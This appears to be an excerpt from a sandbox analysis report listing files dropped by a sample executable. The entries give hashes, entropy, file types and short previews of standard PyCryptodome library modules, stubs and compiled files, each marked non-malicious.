SHA-512:	8F1CD56424FC12C86AA16ED0DBC076E2D0FA7714CE93F4D9B1C109BB661285563E4AA2918C48A2DC076B945ED2207197F53683946E29C78F1B9F32E668E54F03
Malicious:	false
Preview:	from typing import TypedDict, Callable, TypeVar, Generic..from typing_extensions import Unpack, NotRequired....from Crypto.PublicKey.ECC import EccKey....T = TypeVar('T')....class RequestParams(TypedDict, Generic[T]):.. kdf: Callable[[bytes\|bytearray\|memoryview], T].. static_priv: NotRequired[EccKey].. static_pub: NotRequired[EccKey].. eph_priv: NotRequired[EccKey].. eph_pub: NotRequired[EccKey]....def key_agreement(**kwargs: Unpack[RequestParams[T]]) -> T: .....

C:\recover\pw\Lib\site-packages\Crypto\Protocol\KDF.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, Unicode text, UTF-8 text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	22955
Entropy (8bit):	4.822109096386609
Encrypted:	false
SSDEEP:	384:We0Nt96AroMwVVlrV4ENoDZtzQNzRS1zyid3KKKXVvEtUa:9wt5kV4QoDZAzRCnKlm
MD5:	78EA2251CC2560710EFF6D782F1C705E
SHA1:	92A4E050AE5883220F461FC01ED7C0CA1ED4DF16
SHA-256:	F47D981850B12CD0ECE583D13EF5F29F0BF72D60A2D089C3FC093F02EA5D1746
SHA-512:	E52616C1DFB149357FBD8B59D0E0CF392362A03065DC232354D1061DA393F5E30C030A950998A99AD606698E2AA4A769F9D9FD6A3A09281736B1168E5A023329
Malicious:	false
Preview:	# coding=utf-8..#..# KDF.py : a collection of Key Derivation Functions..#..# Part of the Python Cryptography Toolkit..#..# ===================================================================..# The contents of this file are dedicated to the public domain. To..# the extent that dedication to the public domain is not available,..# everyone is granted a worldwide, perpetual, royalty-free,..# non-exclusive license to exercise all rights associated with the..# contents of this file for any purpose whatsoever...# No rights are reserved...#..# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,..# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF..# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND..# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS..# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN..# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN..# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DE

C:\recover\pw\Lib\site-packages\Crypto\Protocol\KDF.pyi

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	2038
Entropy (8bit):	4.91503915615325
Encrypted:	false
SSDEEP:	48:ccWF4ZIA4B0Aq3myAjhANxt9z5RJx6Rgmqd:ccWFgR42Aq3myANAPz5RJURgmQ
MD5:	1687A469EDFFF0FFDAA2B11B36773D3E
SHA1:	33C8FB6F81ACDB5D4269C3B71B4357A75D3717DA
SHA-256:	B131B886A651ED555E85ED9776332A77826C1EECF002D077573CCB3B6E410F8D
SHA-512:	40EB0A8B520F945357B26CFD09DB469AD54CA21DB0E322D4932DF12570EB23D80920C4B9BC017DDDC241A3FC1F9BA5E41607629ECEB09C59F39B8BCFBCF4D0CA
Malicious:	false
Preview:	from types import ModuleType..from typing import Optional, Callable, Tuple, Union, Dict, Any, overload..from typing_extensions import Literal....Buffer=bytes\|bytearray\|memoryview....RNG = Callable[[int], bytes]..PRF = Callable[[bytes, bytes], bytes]....def PBKDF1(password: str, salt: bytes, dkLen: int, count: Optional[int]=1000, hashAlgo: Optional[ModuleType]=None) -> bytes: .....def PBKDF2(password: str, salt: bytes, dkLen: Optional[int]=16, count: Optional[int]=1000, prf: Optional[RNG]=None, hmac_hash_module: Optional[ModuleType]=None) -> bytes: .......class _S2V(object):.. def __init__(self, key: bytes, ciphermod: ModuleType, cipher_params: Optional[Dict[Any, Any]]=None) -> None: ....... @staticmethod.. def new(key: bytes, ciphermod: ModuleType) -> None: ..... def update(self, item: bytes) -> None: ..... def derive(self) -> bytes: .......def HKDF(master: bytes, key_len: int, salt: bytes, hashmod: ModuleType, num_keys: Optional[int]=1, context: Optional[bytes]=None) ->

C:\recover\pw\Lib\site-packages\Crypto\Protocol\SecretSharing.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	9056
Entropy (8bit):	4.7874787545071635
Encrypted:	false
SSDEEP:	192:oqrskrs9t3q/IG1RYr24zEqG5TFiW4m1DH/T:Xrskrs9VqPaQqSTFiWV7
MD5:	8F0F67CEDF28EC2C022DC31587D03BB5
SHA1:	86EC75E3ACBF09488E0592A026F40FF26A27BBF5
SHA-256:	4DB85B5FF214482B6A912C0E90E73F8164B54AC4CC69390DE67024A4B6FD164D
SHA-512:	B6EC5234AF9CC7C513D7FD95BD1638177B0778FA65E19813319B7951B3846F3F83BADC4CFD85FA465CB98886CA73F206228FA336F0F62FFA8E23E455A1BC5BE0
Malicious:	false
Preview:	#..# SecretSharing.py : distribute a secret amongst a group of participants..#..# ===================================================================..#..# Copyright (c) 2014, Legrandin <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DI

C:\recover\pw\Lib\site-packages\Crypto\Protocol\SecretSharing.pyi

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	820
Entropy (8bit):	4.725635475246741
Encrypted:	false
SSDEEP:	24:1RElqMAWKVAATGujmo2Iu9DSjYlQTKUajh2FK4AghCN:XMom87jm5Uaj54zY
MD5:	2C29B85AA1A7948F90DCFD8358D8E6B4
SHA1:	A3915B73FF0D5551F611428FEDB436617E35B93F
SHA-256:	17BB4B071A5BAAB986780546A7B0F506F186A683CB2A2A9C9C3B727C3D9C0921
SHA-512:	665A60174EC4D827D95F11F2B88229E943EFF1C2C60F463DD710546970261FE8D8BBF2B527AA82ECB18F25BB1310ED11AFFE8997EC997DEA6D04D4A908EF96C4
Malicious:	false
Preview:	from typing import Union, List, Tuple, Optional....def _mult_gf2(f1: int, f2: int) -> int : .....def _div_gf2(a: int, b: int) -> int : .......class _Element(object):.. irr_poly: int.. def __init__(self, encoded_value: Union[int, bytes]) -> None: ..... def __eq__(self, other) -> bool: ..... def __int__(self) -> int: ..... def encode(self) -> bytes: ..... def __mul__(self, factor: int) -> _Element: ..... def __add__(self, term: _Element) -> _Element: ..... def inverse(self) -> _Element: ..... def __pow__(self, exponent) -> _Element: .......class Shamir(object):.. @staticmethod.. def split(k: int, n: int, secret: bytes, ssss: Optional[bool]) -> List[Tuple[int, bytes]]: ..... @staticmethod.. def combine(shares: List[Tuple[int, bytes]], ssss: Optional[bool]) -> bytes: .......

C:\recover\pw\Lib\site-packages\Crypto\Protocol\init.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1585
Entropy (8bit):	5.205262016568805
Encrypted:	false
SSDEEP:	48:MwWOqrYJALrYJHdG43tDs3EsIG13NcuIHm:MwDqrYJALrYJHdt3EHGuIG
MD5:	359E5E3040820102CF68398BFCEF8840
SHA1:	893ABCEC60366D62B13FC6679599EFFFBEFF1450
SHA-256:	5E519AC6FBC45FDC85A460E0DDAD070BAF48BC16C1BA2906A67168F89E3F0899
SHA-512:	953D5D7B66792121BFE24C805B33704E9B2491EB956BAB0F82497455E3CD1388E7DD134685D56E38E6D10D5B45894FA2D9DEBFCAFD53E21D5A600892A11A63BD
Malicious:	false
Preview:	# ===================================================================..#..# Copyright (c) 2014, Legrandin <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE..# COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FO

C:\recover\pw\Lib\site-packages\Crypto\Protocol\init.pyi

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	44
Entropy (8bit):	4.516027641266231
Encrypted:	false
SSDEEP:	3:UFo+Cu1KvCGQQN+Zen:U9uCGQY+Zen
MD5:	4200283AFF0E859DE9F1C15EBAD7A073
SHA1:	42B5DC005A804C92E877D93FB14FDB41E52C6C7A
SHA-256:	D17FF2840E82E8BDF3FC2378B27B824FE0C97506473295746C18253407FDA61B
SHA-512:	A4CC0C1A5F215A9E422DF2DF80086E39767ADB2D6D2DA0E086FED921D087847664CCD3D9F7170834E2DCE8B4C07F71422CA0BB962627D4A1CFAFF0E6621FD383
Malicious:	false
Preview:	__all__ = ['KDF.pyi', 'SecretSharing.pyi']..

C:\recover\pw\Lib\site-packages\Crypto\Protocol\pycache\KDF.cpython-310.pyc

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	data
Category:	dropped
Size (bytes):	20399
Entropy (8bit):	5.440400753822972
Encrypted:	false
SSDEEP:	384:JwGALFMLX4XG+dj/WacI0yhn4HytBQwOTZ8UfXpmJWa7Bbq2KhVCIOG:JdAemj/iI0yh4HytOqUfAJWmbTMBOG
MD5:	810632908BFA94007D36C68FA59DA79E
SHA1:	1AF14104544F78BCE22F1085C1576DA767E03CE1
SHA-256:	4BD622C09B1F43B448BE22F81216C95B27A1828C4C2224CB329C2920E620EFCC
SHA-512:	E33A6852FF9BDD5779E3A91C61B1219DE175B1AB937208D7F538A7AF0BDC4B8B7AF3152767933D051F184A5E5D24180629FDD211D3F16157A9F36BD0D3585AC4
Malicious:	false
Preview:	o.......=k;g.Y.......................@...s$...d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z...e.d.d...Z e.d.d...Z!d'd.d...Z"d(d.d...Z#G.d.d...d.e$..Z%d)d.d...Z&dd.d...Z'd.d...Z(d.d...Z)d.d...Zd+d d!..Z+d"d#..Z,d,d%d&..Z-d.S.)-.....N)...reduce)...tobytes..bord.._copy_bytes..iter_range..tostr..bchr..bstr)...SHA1..SHA256..HMAC..CMAC..BLAKE2s)...strxor)...get_random_bytes)...size..long_to_bytes..bytes_to_long)...load_pycryptodome_raw_lib..create_string_buffer..get_raw_buffer..c_size_tz.Crypto.Cipher._Salsa20z.. int Salsa20_8_core(const uint8_t x, const uint8_t y,. uint8_t out);. z.Crypto.Protocol._scrypta..... typedef int (core_t)(const uint8_t [64], const uint8_t [64], uint8_t [64]);. int scryptROMix(const uint8_t data_in, uint8_t *data_out,.

C:\recover\pw\Lib\site-packages\Crypto\Protocol\pycache\KDF.cpython-310.pyc.76642472

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	20400
Entropy (8bit):	5.440234357199951
Encrypted:	false
SSDEEP:	384:MwGALFMLX4XG+dj/WacI0yhn4HytBQwOTZ8UfXpmJWa7Bbq2KhVCIOG:MdAemj/iI0yh4HytOqUfAJWmbTMBOG
MD5:	B6FBC4F2D8D5BA934783EEBCEF28C436
SHA1:	9F893661EF288E99CAC8C159792E84F90A61D36B
SHA-256:	6638582C5341175E2900EA7DF8451741AD7864455834C3BCA03FD4A464A7F41A
SHA-512:	26EF7AB4C4CA85057175B030961FB03356F0DF1034C1CCB923BDC6112D8FFC64B6588BA95A3E999CED54859C5F8E57B309D3D5A3EB6836F9123BE26ED9E29CFF
Malicious:	false
Preview:	o.........Sg.Y.......................@...s$...d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z...e.d.d...Z e.d.d...Z!d'd.d...Z"d(d.d...Z#G.d.d...d.e$..Z%d)d.d...Z&dd.d...Z'd.d...Z(d.d...Z)d.d...Zd+d d!..Z+d"d#..Z,d,d%d&..Z-d.S.)-.....N)...reduce)...tobytes..bord.._copy_bytes..iter_range..tostr..bchr..bstr)...SHA1..SHA256..HMAC..CMAC..BLAKE2s)...strxor)...get_random_bytes)...size..long_to_bytes..bytes_to_long)...load_pycryptodome_raw_lib..create_string_buffer..get_raw_buffer..c_size_tz.Crypto.Cipher._Salsa20z.. int Salsa20_8_core(const uint8_t x, const uint8_t y,. uint8_t out);. z.Crypto.Protocol._scrypta..... typedef int (core_t)(const uint8_t [64], const uint8_t [64], uint8_t [64]);. int scryptROMix(const uint8_t data_in, uint8_t *data_out,.

C:\recover\pw\Lib\site-packages\Crypto\Protocol\pycache\init.cpython-310.pyc

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	data
Category:	dropped
Size (bytes):	191
Entropy (8bit):	4.884161878190612
Encrypted:	false
SSDEEP:	3:y/C9Gl3lGptClylizUCN+Z/9/Z6EJDkPlPlW0MLL0VVWrz47BLOMLkcTgf:y/C93pQylud+Z/dZ6+4290VArM7BL9+
MD5:	EF7F1367F76BC61F1DF7C7E30625C0D6
SHA1:	72941E5EC74BB04F2C342F3F7BBC447E41F940B7
SHA-256:	D28EAFB48C4383387BF1391BFF85BA37D5CDFBE1B1745F5FC0308516C74E4F9C
SHA-512:	BBD5158A22DA760BF4D720ECE2C786F4A5DA6E3BE9AE83781CE294BAC23852EB6A3EA354317B6B713ECC955975CF43795FB338DEF05E21E4D2BD80CBF94F3B85
Malicious:	false
Preview:	o.......=k;g1........................@...s....g.d...Z.d.S.).).Z.KDFZ.SecretSharingZ.DHN)...__all__..r....r.....:C:\winnit\pw\lib\site-packages\Crypto\Protocol\__init__.py..<module>....s......

C:\recover\pw\Lib\site-packages\Crypto\Protocol\pycache\init.cpython-310.pyc.77080688

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	4.888941603158903
Encrypted:	false
SSDEEP:	3:y/DMl3lGptClylizUCN+Z/9/Z6EJDkPlPlBRQGKMWkVWrz47BLOMLkcTgf:y/ppQylud+Z/dZ6+43TMkArM7BL9+
MD5:	DA5B7E0745AC9E0AB8FAC413A2E973C7
SHA1:	B3587CC90E810EE58FD6614706A813B2CED6BC2D
SHA-256:	71DAC179DE6F1280B6A5512C3A24DE213A803788E61575A6998A6F7578F16B58
SHA-512:	AC9BFB74BE46BDA8DE97C6DA9C10885339D5F350A9670A7E39C92F0F1E17A949DA1677F41FCE50D6025803AE12E2F83B67BAEC0255030F13769159468E54FE6A
Malicious:	false
Preview:	o.........Sg1........................@...s....g.d...Z.d.S.).).Z.KDFZ.SecretSharingZ.DHN)...__all__..r....r.....;C:\recover\pw\lib\site-packages\Crypto\Protocol\__init__.py..<module>....s......

C:\recover\pw\Lib\site-packages\Crypto\Protocol\_scrypt.pyd

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	9728
Entropy (8bit):	5.135904494493939
Encrypted:	false
SSDEEP:	192:oY6GI5NPEtoTB8zRWcNWJjRjOlSszZ0Ewh4MVnrGeN:wvJTB8fYJNjsDwhznrGU
MD5:	05969A7400A260E57F2DAD65544867A4
SHA1:	4AE65E8F97D7AB71C5729555C3C92CEA1AF969EC
SHA-256:	427C831901265053C4F7AE53B7B60078A0A70381D6EA050ED0944556C396EAE8
SHA-512:	9984DBA0DEFC3EF23AB5FDD0B311ECEA6EAA0BA07D8CD9A2CBF6FC7F47D8764110B8A9A2C4F05FE1BEDDBD54F604E2F7A659C73F38767C5B3894298E2E98022B
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......'..co..co..co..j.!.go..v...ao..(...`o..co..@o..v...ho..v...io..v...bo..Y..bo..Y..bo..Y.M.bo..Y..bo..Richco..................PE..L...9..e...........!...%............N........0...............................p............@..........................5..d...d5..d....P.......................`..X...x1...............................0..@............0..\|............................text...[........................... ..`.rdata.......0......................@..@.data........@....... ..............@....rsrc........P......."..............@..@.reloc..X....`.......$..............@..B........................................................................................................................................................................................................................................................................................................

C:\recover\pw\Lib\site-packages\Crypto\PublicKey\DSA.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	23060
Entropy (8bit):	4.8542965681461245
Encrypted:	false
SSDEEP:	384:zUe8B4XpyRj8fJ8RbvNWrJVs2okSpSuR4rmSISAX:zH8Qkj8foQrvA4rmSrAX
MD5:	7F4C4E4A51254CF7C23BAD8DF3940A4B
SHA1:	19497A8225DD25DA5379CBB343581383D886B97A
SHA-256:	479862D6D569DDFF438312AF51E1757D6A748ABF932507A3C08564F33DFF6BD5
SHA-512:	62B6196FCB08A837644697519755F2C01C77A386E5083D5CA79303E2EC33A8525A45A7C589B83F95B553F0EE7F82860F9EB108CF070F6DC45615777DF6370F33
Malicious:	false
Preview:	# -- coding: utf-8 --..#..# PublicKey/DSA.py : DSA signature primitive..#..# Written in 2008 by Dwayne C. Litzenberger <dlitz@dlitz.net>..#..# ===================================================================..# The contents of this file are dedicated to the public domain. To..# the extent that dedication to the public domain is not available,..# everyone is granted a worldwide, perpetual, royalty-free,..# non-exclusive license to exercise all rights associated with the..# contents of this file for any purpose whatsoever...# No rights are reserved...#..# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,..# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF..# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND..# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS..# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN..# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN..# CONNECTION WITH THE SOFTWARE

C:\recover\pw\Lib\site-packages\Crypto\PublicKey\DSA.pyi

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	1412
Entropy (8bit):	4.9317569017679235
Encrypted:	false
SSDEEP:	24:1RECbuLosANpNAEGjm53s+MAHUpSm+CHZJHPaHzy3:ryEsuj5Gjm2+NHUpGuJiTy3
MD5:	299FE26EFF86811A83759B29485B17D7
SHA1:	308EF3564AB7D637AA3F00747618AB8D625B09F4
SHA-256:	7E2D92CC91313869FFB9ACBDE0F4628F6BB9995FF154BCC0E8C2F1F733E96C4F
SHA-512:	785B0A5D31BC45D4FE2580B26F09A45EFB9FB6244115AB973F4BE65D98A63A49504330553B758672638529082DA1809A541F9AD5EFDF774AA51F9DD2F8A301AF
Malicious:	false
Preview:	from typing import Dict, Tuple, Callable, Union, Optional....__all__ = ['generate', 'construct', 'DsaKey', 'import_key' ]....RNG = Callable[[int], bytes]....class DsaKey(object):.. def __init__(self, key_dict: Dict[str, int]) -> None: ..... def has_private(self) -> bool: ..... def can_encrypt(self) -> bool: ... # legacy.. def can_sign(self) -> bool: ... # legacy.. def public_key(self) -> DsaKey: ..... def __eq__(self, other: object) -> bool: ..... def __ne__(self, other: object) -> bool: ..... def __getstate__(self) -> None: ..... def domain(self) -> Tuple[int, int, int]: ..... def __repr__(self) -> str: ..... def __getattr__(self, item: str) -> int: ..... def export_key(self, format: Optional[str]="PEM", pkcs8: Optional[bool]=None, passphrase: Optional[str]=None,.. protection: Optional[str]=None, randfunc: Optional[RNG]=None) -> bytes: ..... # Backward-compatibility.. exportKey = export_key.. publickey = public_key....

C:\recover\pw\Lib\site-packages\Crypto\PublicKey\ECC.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	67427
Entropy (8bit):	4.857152735652469
Encrypted:	false
SSDEEP:	1536:HrpnnHM/SBQx60ma/iVVffcIsutOPT/Tl/fokmC1DuYKG:HrdW6gYffcnjBXYI1
MD5:	725F8EC9C104AA3C6B0950278B06BC42
SHA1:	86691C9548643EEC3FCF405B9795EF5A11FDDE8A
SHA-256:	F17C068FD0BC1DCA2CC84366CF2CCB5CECF89DCB460EA7BE6C3BF64387AB9FB7
SHA-512:	D9CF278693EAC5866F7AD7B8223F95608BEB1CE255DA6FC31152DA2980B8DC82432FAFF2B2879F094489E53ABE5422F8FA3097AB3277A708698455991E42A421
Malicious:	false
Preview:	# ===================================================================..#..# Copyright (c) 2015, Legrandin <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE..# COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FO

C:\recover\pw\Lib\site-packages\Crypto\PublicKey\ECC.pyi

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	3368
Entropy (8bit):	4.623430359144985
Encrypted:	false
SSDEEP:	48:PjOqA+h7+/O1YZB84jmtD70lAklkqqN1VZcjmRwmuWzXndSnVSOrEuQASxXSs:7OqAow58Kk1VZFGK0SOrTQASxCs
MD5:	D6B0C334F2E86B944B8B5C595D46091B
SHA1:	6D774B4906613E8AEDE7889D06E5F57C3BA51DE5
SHA-256:	11E9396C412E693B5A7D2B9A455BF7596853BE94BC0FCE01F292C1732934CBA3
SHA-512:	A58B1231C7EEBBEC0AFE7192A59204912A88D5E3F51A0356811DCBC11158A11E5D4FF617B4682817D8BE56C88FDA27BBAB95850C77C876336A2DE25927F129EB
Malicious:	false
Preview:	from __future__ import annotations....from typing import Union, Callable, Optional, Tuple, Dict, NamedTuple, Any, overload, Literal..from typing_extensions import TypedDict, Unpack, NotRequired....from Crypto.Math.Numbers import Integer..from Crypto.IO._PBES import ProtParams....RNG = Callable[[int], bytes]......class UnsupportedEccFeature(ValueError):.. .........class EccPoint(object):.. def __init__(self,.. x: Union[int, Integer],.. y: Union[int, Integer],.. curve: Optional[str] = ...) -> None: ....... def set(self, point: EccPoint) -> EccPoint: ..... def __eq__(self, point: object) -> bool: ..... def __neg__(self) -> EccPoint: ..... def copy(self) -> EccPoint: ..... def is_point_at_infinity(self) -> bool: ..... def point_at_infinity(self) -> EccPoint: ..... @property.. def x(self) -> int: ..... @property.. def y(self) -> int: ..... @property.. def xy(self) -> Tuple[int, int]: ..... def size_

C:\recover\pw\Lib\site-packages\Crypto\PublicKey\ElGamal.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	8901
Entropy (8bit):	4.841428903824507
Encrypted:	false
SSDEEP:	192:cwPQHv3DZKGLo/sNke4hft2vVHZNfvXv/Ii:zPeY2v1ZNf/oi
MD5:	F85B4D32AF5D4BBD777FB171BB3B3BD2
SHA1:	EC768344A4163127698DDEA1D4D0D63E6EAF7D49
SHA-256:	54F3AB21742989AD8BC1AA56D34505F1601E1DBFAEA89A121F981784FF339DB5
SHA-512:	82D02ECDB710663402330D41E181BB36E73C095C417DE68A1B030F44DF0D90EF6134BFDB919C93F5951622CACAABF25D351811464410D9B159B5E075086BBE29
Malicious:	false
Preview:	#..# ElGamal.py : ElGamal encryption/decryption and signatures..#..# Part of the Python Cryptography Toolkit..#..# Originally written by: A.M. Kuchling..#..# ===================================================================..# The contents of this file are dedicated to the public domain. To..# the extent that dedication to the public domain is not available,..# everyone is granted a worldwide, perpetual, royalty-free,..# non-exclusive license to exercise all rights associated with the..# contents of this file for any purpose whatsoever...# No rights are reserved...#..# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,..# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF..# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND..# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS..# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN..# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN..# CONNECTION WI

C:\recover\pw\Lib\site-packages\Crypto\PublicKey\ElGamal.pyi

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	692
Entropy (8bit):	4.899620335781504
Encrypted:	false
SSDEEP:	12:1REYB1ukDAxL+aB7yGerrkjjAo1AiiiNpyEVybjJjm53s+c:1REquJL+pPjsAANAE8bVjm53s+c
MD5:	BB6DFCDEB98EA22FCAFD1C2EF2909FD1
SHA1:	95BB59D50EEB6EC2FF53AA07FE9C7291C628F1AA
SHA-256:	701C7CA660A0ECBF8B633FBB1A080F447FC693E128965D369C6165F621CD80B6
SHA-512:	D22A616317C9F8043C65E32B7D3516E6E7A73A03412151FF26BD09F0DF60F53E6E02FB2FD7F71F48E0C17DA0377156A1AAA7FE4843E72D9AF184A95CEA4C82A7
Malicious:	false
Preview:	from typing import Callable, Union, Tuple, Optional....__all__ = ['generate', 'construct', 'ElGamalKey']....RNG = Callable[[int], bytes]....def generate(bits: int, randfunc: RNG) -> ElGamalKey: .....def construct(tup: Union[Tuple[int, int, int], Tuple[int, int, int, int]]) -> ElGamalKey: .......class ElGamalKey(object):.. def __init__(self, randfunc: Optional[RNG]=None) -> None: ..... def has_private(self) -> bool: ..... def can_encrypt(self) -> bool: ..... def can_sign(self) -> bool: ..... def publickey(self) -> ElGamalKey: ..... def __eq__(self, other: object) -> bool: ..... def __ne__(self, other: object) -> bool: ..... def __getstate__(self) -> None: .....

C:\recover\pw\Lib\site-packages\Crypto\PublicKey\RSA.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, Unicode text, UTF-8 text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	31755
Entropy (8bit):	4.716755149805653
Encrypted:	false
SSDEEP:	768:+r6qvF2WYnlLZlnIEgLH3azy+uAlsKMWsKtCVeC:+rpdzYn9Zln0OLuAlsnKtCf
MD5:	0947B4DBE43E62701069600DBDF79A8C
SHA1:	0FC15553FE43466C3E23A2524771E15F2203D317
SHA-256:	5047981C1EF9B12C37FF5E5010FC9BB200FA2C7EEC64EB002ABD452944864A0E
SHA-512:	E904116A422EC30B52DCFBDA65FB19FF73852E4CC02107D59F785C170B42E6E040846F14F2ADCCA4ED3DFA6DE3527D531342EB60DF30AA4EA5929693029A441C
Malicious:	false
Preview:	# -- coding: utf-8 --..# ===================================================================..#..# Copyright (c) 2016, Legrandin <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE..# COPYRIGHT HOLDER OR

C:\recover\pw\Lib\site-packages\Crypto\PublicKey\RSA.pyi

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
